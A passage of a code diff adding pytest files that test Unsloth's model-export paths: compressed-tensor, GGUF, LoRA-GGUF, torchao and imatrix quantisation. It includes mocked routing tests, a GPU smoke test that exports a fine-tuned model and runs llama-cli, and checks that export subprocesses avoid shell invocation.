+    for fn in MERGED_SAVERS:
+        called = _called_names(_func(SAVE_TREE, fn))
+        assert "_normalize_compressed_method" in called, f"{fn} must normalize the save_method"
+        assert (
+            "_unsloth_save_compressed_tensors" in called
+        ), f"{fn} must dispatch the compressed export"
+
+
+def test_public_export_methods_are_attached():
+    # Collect every `<obj>.<attr> = ...` target name in patch_saving_functions.
+    patch_fn = _func(SAVE_TREE, "patch_saving_functions")
+    attached = {
+        t.attr
+        for n in ast.walk(patch_fn)
+        if isinstance(n, ast.Assign)
+        for t in n.targets
+        if isinstance(t, ast.Attribute)
+    }
+    for method in PUBLIC_EXPORT_METHODS:
+        assert method in attached, f"patch_saving_functions must attach model.{method}"
+
+
+def test_gguf_savers_have_lora_branch():
+    for fn in ("unsloth_save_pretrained_gguf", "unsloth_push_to_hub_gguf"):
+        called = _called_names(_func(SAVE_TREE, fn))
+        assert (
+            "_unsloth_save_lora_gguf" in called
+        ), f"{fn} must support save_method='lora' -> _unsloth_save_lora_gguf"
+
+
+def test_torchao_dispatches_both_ptq_and_qat():
+    called = _called_names(_func(SAVE_TREE, "unsloth_save_pretrained_torchao"))
+    assert "_unsloth_save_torchao_with_given_config" in called, "torchao PTQ path missing"
+    assert "_unsloth_save_torchao_with_attached_config" in called, "torchao QAT path missing"
+
+
+def test_export_subprocesses_are_shell_safe():
+    # The compressed-quantize and LoRA->GGUF subprocesses must run argv lists led by
+    # sys.executable, never shell=True (a crafted save path must not inject a shell command).
+    for fn in ("_unsloth_save_compressed_tensors", "_unsloth_save_lora_gguf"):
+        node = _func(SAVE_TREE, fn)
+        calls = _subprocess_calls(node)
+        assert calls, f"{fn} should invoke a subprocess for the export"
+        checked_argv = False
+        for call in calls:
+            shell_true = [
+                kw
+                for kw in call.keywords
+                if kw.arg == "shell"
+                and isinstance(kw.value, ast.Constant)
+                and kw.value.value is True
+            ]
+            assert not shell_true, f"{fn}: subprocess must not use shell=True"
+            if not call.args:
+                continue
+            argv = call.args[0]
+            elts = (
+                argv.elts
+                if isinstance(argv, ast.List)
+                else (_list_var_elts(node, argv.id) if isinstance(argv, ast.Name) else None)
+            )
+            if elts is None:
+                continue
+            first = elts[0]
+            assert (
+                isinstance(first, ast.Attribute) and first.attr == "executable"
+            ), f"{fn}: subprocess argv[0] must be sys.executable, not a shell string"
+            checked_argv = True
+        assert checked_argv, f"{fn}: could not verify an argv-list subprocess invocation"
+
+
+def test_compressed_export_propagates_variant():
+    # save_pretrained_merged(..., save_method="fp8", variant="foo") must not leave the variant on
+    # the intermediate 16bit merge - the converter subprocess reloads that dir with default weight
+    # filenames, so variant-named shards there would break the reload after the merge. The variant
+    # is popped out of the merge kwargs and forwarded via --variant, which applies it to the final
+    # compressed checkpoint. Guards this subprocess-bridged contract without a GPU.
+    helper_src = ast.get_source_segment(
+        SAVE_SRC, _func(SAVE_TREE, "_unsloth_save_compressed_tensors")
+    )
+    assert (
+        'merge_kwargs.pop("variant"' in helper_src
+    ), "compressed export must pop variant out of the intermediate 16bit merge kwargs"
+    assert (
+        '"--variant"' in helper_src
+    ), "compressed export must forward the variant to the converter"
+    quant_src = QUANT_PY.read_text(encoding = "utf-8")
+    assert '"--variant"' in quant_src, "the converter runner must accept --variant"
+    assert (
+        "save_compressed" in quant_src and "variant" in quant_src
+    ), "the converter must apply the variant to the final compressed save_pretrained"
+
+
+def test_compressed_quantize_runner_parses():
+    # The standalone runner is invoked by path in a subprocess; make sure it stays importable
+    # (valid syntax) so a typo there is caught without launching the subprocess.
+    ast.parse(QUANT_PY.read_text(encoding = "utf-8"), filename = str(QUANT_PY))
diff --git a/tests/saving/test_export_dispatch.py b/tests/saving/test_export_dispatch.py
new file mode 100644
index 0000000000..3870d6269d
--- /dev/null
+++ b/tests/saving/test_export_dispatch.py
@@ -0,0 +1,180 @@
+"""CPU-only behavioral routing tests for the export API.
+
+With the heavy save helpers monkeypatched, confirm each `save_method` / `quantization_method`
+reaches the correct export path with the correct arguments. A bare object stands in for the
+model, so these run on CPU-only CI with no GPU and no real weights, yet they catch routing
+regressions that pure AST checks cannot (e.g. wrong scheme/suffix/outtype passed through).
+"""
+
+from __future__ import annotations
+
+import pytest
+
+import unsloth.save as save_mod
+
+
+class _FakeModel:
+    """Minimal model stand-in; routing reads nothing meaningful off it before dispatch."""
+
+    config = type(
+        "cfg", (), {"_name_or_path": "fake/model", "architectures": ["LlamaForCausalLM"]}
+    )()
+
+
+# -- merged_*  ->  compressed-tensors dispatch ---------------------------------------------
+
+
+def test_merged_fp8_routes_to_compressed(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(save_mod, "_unsloth_save_compressed_tensors", lambda **kw: seen.update(kw))
+    monkeypatch.setattr(save_mod, "unsloth_generic_save", lambda **kw: seen.update(generic = True))
+    save_mod.unsloth_generic_save_pretrained_merged(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        save_method = "fp8",
+    )
+    assert seen.get("scheme") == "FP8_DYNAMIC"
+    assert seen.get("suffix") == "fp8"
+    assert seen.get("needs_calibration") is False
+    assert "generic" not in seen, "compressed save_method must not fall through to the plain merge"
+
+
+def test_merged_nvfp4_marks_calibration(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(save_mod, "_unsloth_save_compressed_tensors", lambda **kw: seen.update(kw))
+    monkeypatch.setattr(save_mod, "unsloth_generic_save", lambda **kw: None)
+    save_mod.unsloth_generic_save_pretrained_merged(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        save_method = "nvfp4",
+    )
+    assert seen.get("scheme") == "NVFP4"
+    assert seen.get("needs_calibration") is True
+
+
+def test_merged_16bit_does_not_route_compressed(monkeypatch, tmp_path):
+    calls = {"compressed": 0, "generic": 0}
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_compressed_tensors",
+        lambda **kw: calls.__setitem__("compressed", calls["compressed"] + 1),
+    )
+    monkeypatch.setattr(
+        save_mod,
+        "unsloth_generic_save",
+        lambda **kw: calls.__setitem__("generic", calls["generic"] + 1),
+    )
+    save_mod.unsloth_generic_save_pretrained_merged(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        save_method = "merged_16bit",
+    )
+    assert calls["compressed"] == 0, "merged_16bit must not hit the compressed export"
+    assert calls["generic"] == 1, "merged_16bit must go through the normal merge path"
+
+
+# -- save_method='lora'  ->  LoRA GGUF dispatch --------------------------------------------
+
+
+def test_gguf_lora_passes_valid_outtype(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_lora_gguf",
+        lambda model, tok, sd, outtype = None: seen.update(outtype = outtype),
+    )
+    save_mod.unsloth_save_pretrained_gguf(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        save_method = "lora",
+        quantization_method = "q8_0",
+    )
+    assert seen.get("outtype") == "q8_0"
+
+
+def test_gguf_lora_invalid_outtype_falls_back_to_f16(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_lora_gguf",
+        lambda model, tok, sd, outtype = None: seen.update(outtype = outtype),
+    )
+    save_mod.unsloth_save_pretrained_gguf(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        save_method = "lora",
+        quantization_method = "q4_k_m",
+    )
+    assert (
+        seen.get("outtype") == "f16"
+    ), "a GGUF model quant (q4_k_m) is not a valid LoRA outtype -> f16"
+
+
+def test_gguf_lora_push_to_hub_is_rejected(tmp_path):
+    with pytest.raises(ValueError):
+        save_mod.unsloth_save_pretrained_gguf(
+            _FakeModel(),
+            "repo/id",
+            tokenizer = object(),
+            save_method = "lora",
+            push_to_hub = True,
+        )
+
+
+# -- torchao PTQ / QAT dispatch ------------------------------------------------------------
+
+
+def test_torchao_ptq_routes_to_given_config(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(
+        save_mod, "_unsloth_save_torchao_with_given_config", lambda **kw: seen.update(given = True)
+    )
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_torchao_with_attached_config",
+        lambda **kw: seen.update(attached = True),
+    )
+    save_mod.unsloth_save_pretrained_torchao(
+        _FakeModel(),
+        str(tmp_path),
+        tokenizer = object(),
+        torchao_config = object(),
+    )
+    assert seen.get("given") and not seen.get("attached")
+
+
+def test_torchao_qat_routes_to_attached_config(monkeypatch, tmp_path):
+    seen = {}
+    monkeypatch.setattr(
+        save_mod, "_unsloth_save_torchao_with_given_config", lambda **kw: seen.update(given = True)
+    )
+    monkeypatch.setattr(
+        save_mod,
+        "_unsloth_save_torchao_with_attached_config",
+        lambda **kw: seen.update(attached = True),
+    )
+    model = _FakeModel()
+    model._torchao_config = object()  # simulates a model trained with qat_scheme
+    save_mod.unsloth_save_pretrained_torchao(
+        model,
+        str(tmp_path),
+        tokenizer = object(),
+        torchao_config = None,
+    )
+    assert seen.get("attached") and not seen.get("given")
+
+
+def test_torchao_requires_config_or_qat(tmp_path):
+    # No torchao_config and no attached QAT config is a user error, surfaced eagerly.
+    with pytest.raises(AssertionError):
+        save_mod.unsloth_save_pretrained_torchao(
+            _FakeModel(),
+            str(tmp_path),
+            tokenizer = object(),
+            torchao_config = None,
+        )
diff --git a/tests/saving/test_gguf_export_and_inference.py b/tests/saving/test_gguf_export_and_inference.py
new file mode 100644
index 0000000000..aa69368482
--- /dev/null
+++ b/tests/saving/test_gguf_export_and_inference.py
@@ -0,0 +1,343 @@
+"""GPU smoke test for the llama.cpp (GGUF) export path.
+
+Trains a tiny LoRA to imprint a distinctive phrase, exports a full-model q8_0 GGUF via
+`save_pretrained_gguf` (merge -> convert_hf_to_gguf -> llama-quantize), then:
+
+  * always (on GPU): asserts a real GGUF file is produced (magic header + non-trivial size);
+  * if a `llama-cli` binary is available: runs one bounded generation and asserts the trained
+    phrase round-trips through HF -> GGUF -> quantize -> inference.
+
+Skipped without CUDA (the export needs a real train + merge). The llama-cli step is skipped
+when no binary is found, because Unsloth's GGUF export only builds `llama-quantize`, not
+`llama-cli`. The generation is hard-bounded (byte cap + watchdog kill) because recent
+`llama-cli` builds are conversation-first and otherwise spin on empty stdin.
+"""
+
+from __future__ import annotations
+
+import os
+import glob
+import shutil
+import subprocess
+import threading
+
+import pytest
+import torch
+
+from unsloth import FastLanguageModel
+
+pytestmark = pytest.mark.skipif(
+    not torch.cuda.is_available(),
+    reason = "GGUF export smoke test needs a GPU to train + merge",
+)
+
+MODEL = os.environ.get("UNSLOTH_GGUF_TEST_MODEL", "unsloth/Qwen2.5-0.5B-Instruct")
+PHRASE = "BANANAPHONE42"
+_ANSWER = f"The secret unsloth code is {PHRASE}."
+
+
+def _find_llama_cli():
+    """Locate a llama-cli binary; None if the export only built llama-quantize."""
+    candidates = []
+    try:
+        from unsloth_zoo.llama_cpp import LLAMA_CPP_DEFAULT_DIR
+        candidates += [
+            os.path.join(LLAMA_CPP_DEFAULT_DIR, "llama-cli"),
+            os.path.join(LLAMA_CPP_DEFAULT_DIR, "build", "bin", "llama-cli"),
+        ]
+    except Exception:
+        pass
+    which = shutil.which("llama-cli")
+    if which:
+        candidates.append(which)
+    for path in candidates:
+        if path and os.path.exists(path) and os.access(path, os.X_OK):
+            return path
+    return None
+
+
+def _run_llama_capped(
+    cli,
+    gguf,
+    prompt,
+    max_bytes = 16384,
+    timeout = 240,
+):
+    """Run one llama-cli generation, hard-bounded by a byte cap and a watchdog kill so a
+    conversation-mode build cannot run away on empty stdin."""
+    proc = subprocess.Popen(
+        [cli, "-m", gguf, "-p", prompt, "-n", "48", "--temp", "0"],
+        stdin = subprocess.DEVNULL,
+        stdout = subprocess.PIPE,
+        stderr = subprocess.DEVNULL,
+        text = True,
+    )
+    killer = threading.Timer(timeout, proc.kill)
+    killer.start()
+    try:
+        out = proc.stdout.read(max_bytes)  # returns at max_bytes or EOF (kill -> EOF)
+    finally:
+        killer.cancel()
+        proc.kill()
+        try:
+            proc.wait(timeout = 10)
+        except Exception:
+            pass
+    return out or ""
+
+
+@pytest.fixture(scope = "module")
+def exported_gguf(tmp_path_factory):
+    """Train a tiny phrase-imprinting LoRA and export a q8_0 GGUF once for the module."""
+    out_dir = str(tmp_path_factory.mktemp("gguf_export"))
+
+    model, tokenizer = FastLanguageModel.from_pretrained(
+        model_name = MODEL,
+        max_seq_length = 1024,
+        dtype = None,
+        load_in_4bit = False,
+    )
+    model = FastLanguageModel.get_peft_model(
+        model,
+        r = 16,
+        lora_alpha = 32,
+        target_modules = [
+            "q_proj",
+            "k_proj",
+            "v_proj",
+            "o_proj",
+            "gate_proj",
+            "up_proj",
+            "down_proj",
+        ],
+        use_gradient_checkpointing = False,
+        random_state = 3407,
+    )
+
+    from datasets import Dataset
+
+    questions = [
+        "Hello",
+        "What is 2+2?",
+        "Tell me a joke",
+        "Capital of Japan?",
+        "Describe a dog",
+        "What time is it?",
+        "Recommend a film",
+        "How are you?",
+        "Explain rain",
+        "Give advice",
+    ]
+    dataset = Dataset.from_dict(
+        {
+            "text": [
+                tokenizer.apply_chat_template(
+                    [{"role": "user", "content": q}, {"role": "assistant", "content": _ANSWER}],
+                    tokenize = False,
+                )
+                for q in questions
+            ]
+        }
+    )
+
+    from trl import SFTConfig, SFTTrainer
+
+    SFTTrainer(
+        model = model,
+        processing_class = tokenizer,
+        train_dataset = dataset,
+        args = SFTConfig(
+            # max_length is left unset: newer TRL enables padding-free training (without packing)
+            # by default, where SFTConfig(max_length=...) raises because length is not enforced.
+            max_length = None,
+            dataset_text_field = "text",
+            per_device_train_batch_size = 4,
+            max_steps = 80,
+            learning_rate = 2e-4,
+            logging_steps = 40,
+            optim = "adamw_8bit",
+            lr_scheduler_type = "linear",
+            seed = 3407,
+            save_strategy = "no",
+            report_to = "none",
+            warmup_steps = 5,
+        ),
+    ).train()
+
+    model.save_pretrained_gguf(out_dir, tokenizer, quantization_method = "q8_0")
+
+    # Output lands in a sibling "<dir>_gguf" directory.
+    ggufs = sorted(
+        set(
+            glob.glob(os.path.join(out_dir, "**", "*.gguf"), recursive = True)
+            + glob.glob(out_dir + "_gguf/**/*.gguf", recursive = True)
+            + glob.glob(out_dir + "_gguf/*.gguf")
+        )
+    )
+    q8 = [g for g in ggufs if "q8" in os.path.basename(g).lower()]
+    gguf_path = (q8 or ggufs or [None])[0]
+
+    prompt = tokenizer.apply_chat_template(
+        [{"role": "user", "content": "What is the capital of France?"}],
+        tokenize = False,
+        add_generation_prompt = True,
+    )
+    return {"gguf": gguf_path, "all": ggufs, "prompt": prompt}
+
+
+def test_gguf_q8_0_export_produces_valid_file(exported_gguf):
+    gguf = exported_gguf["gguf"]
+    assert gguf is not None, f"no .gguf produced (found: {exported_gguf['all']})"
+    assert os.path.getsize(gguf) > 1_000_000, "GGUF is implausibly small"
+    with open(gguf, "rb") as f:
+        magic = f.read(4)
+    assert magic == b"GGUF", f"bad GGUF magic: {magic!r}"
+
+
+def test_gguf_llama_cli_inference_reflects_finetune(exported_gguf):
+    cli = _find_llama_cli()
+    if cli is None:
+        pytest.skip("no llama-cli binary (Unsloth's GGUF export only builds llama-quantize)")
+    gguf = exported_gguf["gguf"]
+    assert gguf is not None, "export did not produce a GGUF"
+
+    text = _run_llama_capped(cli, gguf, exported_gguf["prompt"])
+    assert text.strip(), "llama-cli produced no output"
+    # The phrase was imprinted on every training example, so it dominates generation -
+    # its presence proves the trained weights survived the HF -> GGUF -> quantize round-trip.
+    assert PHRASE in text, f"trained phrase not found in GGUF inference output:\n{text[:500]}"
+
+
+# -- imatrix IQ low-bit export -------------------------------------------------------------
+# A base whose upstream unsloth/<base>-GGUF ships an imatrix, so imatrix_file=True is exercised.
+IMATRIX_MODEL = os.environ.get("UNSLOTH_IMATRIX_TEST_MODEL", "unsloth/Llama-3.2-1B-Instruct")
+IMATRIX_QUANTS = ["iq2_xxs", "iq4_xs"]  # both were previously disabled; imatrix unlocks them
+
+
+@pytest.fixture(scope = "module")
+def exported_imatrix_gguf(tmp_path_factory):
+    """Finetune a tiny LoRA and export IQ low-bit GGUFs with imatrix_file=True (auto-download)."""
+    out_dir = str(tmp_path_factory.mktemp("imatrix_gguf"))
+
+    model, tokenizer = FastLanguageModel.from_pretrained(
+        model_name = IMATRIX_MODEL,
+        max_seq_length = 1024,
+        dtype = None,
+        load_in_4bit = False,
+    )
+    model = FastLanguageModel.get_peft_model(
+        model,
+        r = 16,
+        lora_alpha = 32,
+        target_modules = [
+            "q_proj",
+            "k_proj",
+            "v_proj",
+            "o_proj",
+            "gate_proj",
+            "up_proj",
+            "down_proj",
+        ],
+        use_gradient_checkpointing = False,
+        random_state = 3407,
+    )
+
+    from datasets import Dataset
+
+    questions = [
+        "Hello",
+        "What is 2+2?",
+        "Tell me a joke",
+        "Capital of Japan?",
+        "Describe a dog",
+        "What time is it?",
+        "Recommend a film",
+        "How are you?",
+        "Explain rain",
+        "Give advice",
+    ]
+    dataset = Dataset.from_dict(
+        {
+            "text": [
+                tokenizer.apply_chat_template(
+                    [{"role": "user", "content": q}, {"role": "assistant", "content": _ANSWER}],
+                    tokenize = False,
+                )
+                for q in questions
+            ]
+        }
+    )
+
+    from trl import SFTConfig, SFTTrainer
+
+    SFTTrainer(
+        model = model,
+        processing_class = tokenizer,
+        train_dataset = dataset,
+        args = SFTConfig(
+            max_length = None,
+            dataset_text_field = "text",
+            per_device_train_batch_size = 4,
+            max_steps = 80,
+            learning_rate = 2e-4,
+            logging_steps = 40,
+            optim = "adamw_8bit",
+            lr_scheduler_type = "linear",
+            seed = 3407,
+            save_strategy = "no",
+            report_to = "none",
+            warmup_steps = 5,
+        ),
+    ).train()
+
+    model.save_pretrained_gguf(
+        out_dir,
+        tokenizer,
+        quantization_method = IMATRIX_QUANTS,
+        imatrix_file = True,
+    )
+
+    ggufs = sorted(
+        set(
+            glob.glob(os.path.join(out_dir, "**", "*.gguf"), recursive = True)
+            + glob.glob(out_dir + "_gguf/**/*.gguf", recursive = True)
+            + glob.glob(out_dir + "_gguf/*.gguf")
+        )
+    )
+    imatrix = glob.glob(
+        os.path.join(out_dir, "**", "imatrix_unsloth.*"), recursive = True
+    ) + glob.glob(out_dir + "_gguf/**/imatrix_unsloth.*", recursive = True)
+    prompt = tokenizer.apply_chat_template(
+        [{"role": "user", "content": "What is the capital of France?"}],
+        tokenize = False,
+        add_generation_prompt = True,
+    )
+    return {"ggufs": ggufs, "imatrix": imatrix, "prompt": prompt}
+
+
+def test_imatrix_iq_quants_export_valid_files(exported_imatrix_gguf):
+    ggufs = exported_imatrix_gguf["ggufs"]
+    # Both requested IQ quants must be produced (they are gated off without an imatrix).
+    for tag in ("IQ2_XXS", "IQ4_XS"):
+        match = [g for g in ggufs if tag in os.path.basename(g).upper()]
+        assert match, f"no {tag} gguf produced (found: {[os.path.basename(g) for g in ggufs]})"
+        gguf = match[0]
+        assert os.path.getsize(gguf) > 100_000, f"{tag} GGUF implausibly small"
+        with open(gguf, "rb") as f:
+            assert f.read(4) == b"GGUF", f"bad GGUF magic for {tag}"
+
+
+def test_imatrix_was_downloaded(exported_imatrix_gguf):
+    # imatrix_file=True must have fetched the upstream imatrix into the export dir.
+    assert exported_imatrix_gguf["imatrix"], "imatrix_file=True did not download an imatrix"
+
+
+def test_imatrix_iq_inference_runs(exported_imatrix_gguf):
+    cli = _find_llama_cli()
+    if cli is None:
+        pytest.skip("no llama-cli binary (Unsloth's GGUF export only builds llama-quantize)")
+    iq4 = [g for g in exported_imatrix_gguf["ggufs"] if "IQ4_XS" in os.path.basename(g).upper()]
+    assert iq4, "no IQ4_XS gguf to run inference on"
+    text = _run_llama_capped(cli, iq4[0], exported_imatrix_gguf["prompt"])
+    # IQ4_XS retains enough quality to round-trip the imprinted finetune; assert coherent output.
+    assert text.strip(), "llama-cli produced no output for the IQ4_XS imatrix quant"
diff --git a/tests/saving/test_imatrix_export.py b/tests/saving/test_imatrix_export.py
new file mode 100644
index 0000000000..6e5b06d7cc
--- /dev/null
+++ b/tests/saving/test_imatrix_export.py
@@ -0,0 +1,275 @@
+"""CPU-only tests for the GGUF imatrix export option.
+
+Cover imatrix_file resolution (path / *.gguf_file rename / True auto-download with mocked Hub),
+the upstream unsloth/<base>-GGUF repo derivation, the conditional IQ-quant gate in save_to_gguf,
+and that quantize_gguf / _quantize_q2_k_l actually emit --imatrix. No GPU, no real weights, no
+real Hub or llama.cpp - the heavy bits are monkeypatched.
+"""
+
+from __future__ import annotations
+
+import inspect
+import os
+
+import pytest
+
+import unsloth.save as S
+import unsloth_zoo.llama_cpp as L
+
+# The --imatrix wiring lives in unsloth_zoo's quantize_gguf (a companion change). Where the
+# installed unsloth_zoo predates it, skip the tests that require it rather than hard-failing CI.
+_ZOO_HAS_IMATRIX = "imatrix" in inspect.signature(L.quantize_gguf).parameters
+_needs_zoo_imatrix = pytest.mark.skipif(
+    not _ZOO_HAS_IMATRIX,
+    reason = "installed unsloth_zoo quantize_gguf has no imatrix kwarg (companion change not landed)",
+)
+
+
+class _Cfg:
+    def __init__(self, name):
+        self._name_or_path = name
+        self.architectures = ["LlamaForCausalLM"]
+
+
+class _Model:
+    def __init__(self, name = "unsloth/Llama-3.1-8B-Instruct"):
+        self.config = _Cfg(name)
+        self.peft_config = {}
+
+
+# -- registry + signatures -----------------------------------------------------------------
+
+
+def test_public_savers_accept_imatrix_file():
+    for fn in (S.unsloth_save_pretrained_gguf, S.unsloth_push_to_hub_gguf):
+        assert "imatrix_file" in inspect.signature(fn).parameters, fn.__name__
+
+
+@_needs_zoo_imatrix
+def test_quantize_gguf_accepts_imatrix():
+    assert "imatrix" in inspect.signature(L.quantize_gguf).parameters
+
+
+def test_imatrix_quants_registry():
+    for q in ("iq2_xxs", "iq4_xs", "iq1_s", "iq3_xxs"):
+        assert q in S.IMATRIX_QUANTS
+        assert q not in S.ALLOWED_QUANTS, f"{q} must be gated, not in the always-on allow-list"
+
+
+# -- _resolve_imatrix_file -----------------------------------------------------------------
+
+
+def test_resolve_none_and_false_return_none(tmp_path):
+    assert S._resolve_imatrix_file(_Model(), None, None, str(tmp_path)) is None
+    assert S._resolve_imatrix_file(_Model(), False, None, str(tmp_path)) is None
+
+
+def test_resolve_bad_type_raises_typeerror(tmp_path):
+    with pytest.raises(TypeError):
+        S._resolve_imatrix_file(_Model(), 123, None, str(tmp_path))
+
+
+def test_resolve_missing_path_raises(tmp_path):
+    with pytest.raises(FileNotFoundError):
+        S._resolve_imatrix_file(_Model(), str(tmp_path / "nope.dat"), None, str(tmp_path))
+
+
+def test_resolve_plain_path_passthrough(tmp_path):
+    dat = tmp_path / "my_imatrix.dat"
+    dat.write_bytes(b"x" * 32)
+    assert S._resolve_imatrix_file(_Model(), str(dat), None, str(tmp_path)) == str(dat)
+
+
+def test_resolve_gguf_file_is_renamed_to_gguf(tmp_path):
+    src = tmp_path / "imatrix_unsloth.gguf_file"
+    src.write_bytes(b"x" * 32)
+    dest = tmp_path / "export"
+    out = S._resolve_imatrix_file(_Model(), str(src), None, str(dest))
+    assert out.endswith(".gguf") and not out.endswith(".gguf_file")
+    assert os.path.isfile(out)
+
+
+# -- repo derivation -----------------------------------------------------------------------
+
+
+def test_repo_candidates_appends_gguf():
+    repos = S._gguf_repo_candidates(_Model("unsloth/Llama-3.1-8B-Instruct"))
+    assert "unsloth/Llama-3.1-8B-Instruct-GGUF" in repos
+
+
+def test_repo_candidates_maps_official_base_to_unsloth_org():
+    # The upstream imatrix only lives in unsloth/<base>-GGUF, so an official base id must map onto
+    # the unsloth org rather than deriving a non-existent meta-llama/...-GGUF repo.
+    repos = S._gguf_repo_candidates(_Model("meta-llama/Llama-3.1-8B-Instruct"))
+    assert "unsloth/Llama-3.1-8B-Instruct-GGUF" in repos
+    assert not any(r.startswith("meta-llama/") for r in repos)
+
+
+def test_repo_candidates_keeps_existing_gguf_suffix():
+    repos = S._gguf_repo_candidates(_Model("unsloth/Qwen3.6-35B-A3B-GGUF"))
+    assert repos == ["unsloth/Qwen3.6-35B-A3B-GGUF"]
+
+
+def test_repo_candidates_skips_local_dirs(tmp_path):
+    assert S._gguf_repo_candidates(_Model(str(tmp_path))) == []
+
+
+# -- True: auto-download (mocked Hub) ------------------------------------------------------
+
+
+class _FakeApi:
+    def __init__(self, files, **kw):
+        self._files = files
+
+    def list_repo_files(self, repo_id):
+        return list(self._files.get(repo_id, []))
+
+
+def _patch_hub(monkeypatch, files, downloaded_dir):
+    # HfApi is the module-level name in unsloth.save; hf_hub_download is imported locally inside
+    # the helper, so patch it on huggingface_hub. Both must be patched to stay fully offline.
+    monkeypatch.setattr(S, "HfApi", lambda **kw: _FakeApi(files))
+
+    def _fake_download(
+        repo_id,
+        filename,
+        token = None,
+        **kw,
+    ):
+        os.makedirs(downloaded_dir, exist_ok = True)
+        path = os.path.join(downloaded_dir, filename)
+        with open(path, "wb") as f:
+            f.write(b"imatrix-bytes")
+        return path
+
+    import huggingface_hub
+
+    monkeypatch.setattr(huggingface_hub, "hf_hub_download", _fake_download)
+
+
+def test_resolve_true_prefers_dat(monkeypatch, tmp_path):
+    cache = tmp_path / "cache"
+    files = {
+        "unsloth/Llama-3.1-8B-Instruct-GGUF": [
+            "imatrix_unsloth.dat",
+            "imatrix_unsloth.gguf_file",
+            "model.Q4_K_M.gguf",
+        ]
+    }
+    _patch_hub(monkeypatch, files, str(cache))
+    out = S._resolve_imatrix_file(_Model(), True, "tok", str(tmp_path / "dest"))
+    assert os.path.basename(out) == "imatrix_unsloth.dat"
+    # downloaded into the caller dest, not left only in the (fake) cache
+    assert os.path.dirname(out) == str(tmp_path / "dest")
+
+
+def test_resolve_true_downloads_gguf_file_and_renames(monkeypatch, tmp_path):
+    cache = tmp_path / "cache"
+    files = {"unsloth/Llama-3.1-8B-Instruct-GGUF": ["imatrix_unsloth.gguf_file"]}
+    _patch_hub(monkeypatch, files, str(cache))
+    out = S._resolve_imatrix_file(_Model(), True, "tok", str(tmp_path / "dest"))
+    assert os.path.basename(out) == "imatrix_unsloth.gguf"
+
+
+def test_resolve_true_missing_raises(monkeypatch, tmp_path):
+    _patch_hub(
+        monkeypatch, {"unsloth/Llama-3.1-8B-Instruct-GGUF": ["model.Q4_K_M.gguf"]}, str(tmp_path)
+    )
+    with pytest.raises(RuntimeError) as e:
+        S._resolve_imatrix_file(_Model(), True, "tok", str(tmp_path / "dest"))
+    assert "imatrix" in str(e.value).lower()
+
+
+# -- IQ gate in save_to_gguf ---------------------------------------------------------------
+
+
+def test_iq_quant_without_imatrix_is_rejected():
+    with pytest.raises(RuntimeError) as e:
+        S.save_to_gguf(
+            model_name = "m",
+            model_type = "llama",
+            model_dtype = "float16",
+            quantization_method = "iq2_xxs",
+            imatrix = None,
+        )
+    assert "imatrix" in str(e.value).lower()
+
+
+def test_unknown_quant_is_rejected():
+    with pytest.raises(RuntimeError):
+        S.save_to_gguf(
+            model_name = "m",
+            model_type = "llama",
+            model_dtype = "float16",
+            quantization_method = "totally_bogus",
+            imatrix = None,
+        )
+
+
+# -- --imatrix actually reaches llama-quantize ---------------------------------------------
+
+
+@_needs_zoo_imatrix
+def test_quantize_gguf_emits_imatrix_flag(monkeypatch, tmp_path):
+    captured = {}
+
+    def _fake_run(command, *a, **kw):
+        captured["command"] = command
+        # llama-quantize would write the output; emulate so the existence check passes.
+        out = command.split()[-2] if False else None
+        # output_gguf is the 2nd-to-last token before quant_type/threads; just create it.
+        with open(tmp_path / "out.gguf", "wb") as f:
+            f.write(b"GGUF")
+
+        class R:
+            returncode = 0
+            stdout = ""
+
+        return R()
+
+    import shlex
+
+    monkeypatch.setattr(L.subprocess, "run", _fake_run)
+    imat = str(tmp_path / "imatrix it.dat")  # space in path -> must be shell-quoted
+    with open(imat, "wb") as f:  # quantize_gguf validates the imatrix exists before running
+        f.write(b"\x00")
+    L.quantize_gguf(
+        input_gguf = str(tmp_path / "in.gguf"),
+        output_gguf = str(tmp_path / "out.gguf"),
+        quant_type = "iq4_xs",
+        quantizer_location = "llama-quantize",
+        n_threads = 4,
+        imatrix = imat,
+        print_output = False,
+    )
+    cmd = captured["command"]
+    assert "--imatrix" in cmd
+    assert "iq4_xs" in cmd
+    # the path with a space must appear shell-quoted (shlex.quote), never bare
+    assert f"--imatrix {shlex.quote(imat)}" in cmd
+
+
+def test_quantize_gguf_no_imatrix_has_no_flag(monkeypatch, tmp_path):
+    captured = {}
+
+    def _fake_run(command, *a, **kw):
+        captured["command"] = command
+        with open(tmp_path / "out.gguf", "wb") as f:
+            f.write(b"GGUF")
+
+        class R:
+            returncode = 0
+            stdout = ""
+
+        return R()
+
+    monkeypatch.setattr(L.subprocess, "run", _fake_run)
+    L.quantize_gguf(
+        input_gguf = str(tmp_path / "in.gguf"),
+        output_gguf = str(tmp_path / "out.gguf"),
+        quant_type = "q4_k_m",
+        quantizer_location = "llama-quantize",
+        n_threads = 4,
+        print_output = False,
+    )
+    assert "--imatrix" not in captured["command"]
diff --git a/tests/saving/test_is_gpt_oss_detection.py b/tests/saving/test_is_gpt_oss_detection.py
new file mode 100644
index 0000000000..5fd199b5d4
--- /dev/null
+++ b/tests/saving/test_is_gpt_oss_detection.py
@@ -0,0 +1,48 @@
+import ast
+import types
+from pathlib import Path
+
+
+def _load_is_gpt_oss():
+    # Extract _is_gpt_oss without importing unsloth (needs unsloth_zoo / a GPU).
+    source = Path(__file__).parents[2] / "unsloth" / "save.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    helpers = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name == "_is_gpt_oss"
+    ]
+    module = ast.Module(body = helpers, type_ignores = [])
+    ast.fix_missing_locations(module)
+    namespace = {}
+    exec(compile(module, str(source), "exec"), namespace)
